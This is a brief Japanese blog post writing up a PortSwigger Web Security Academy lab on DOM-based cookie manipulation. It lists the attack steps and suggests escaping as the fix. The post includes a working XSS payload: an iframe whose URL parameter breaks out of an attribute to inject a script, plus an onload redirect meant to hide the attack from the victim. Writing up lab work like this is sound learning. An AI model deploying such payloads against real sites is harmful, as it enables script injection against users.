0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【28個目】【DOM XSS】 DOM-based cookie manipulation

Posted at

DOM-based cookie manipulation

概要

cookieの値でリンクを作成している脆弱性を利用してスクリプトを実行させる

攻撃手順

  • cookieの値がリンクに使用されていることを確認
  • エクスプロイトサーバに以下を設定
    • 以下によって、iframeタグが閉じられた後、スクリプトタグがDOMに挿入されて実行される。onloadは被害者に攻撃を気づかれにくくするためにホーム画面へ遷移させるための処理
    • <iframe src="https://YOUR-LAB-ID.web-security-academy.net/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://YOUR-LAB-ID.web-security-academy.net';window.x=1;">

対策

  • エスケープ処理を行う

クリアするまでにかかった時間

  • 40m
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?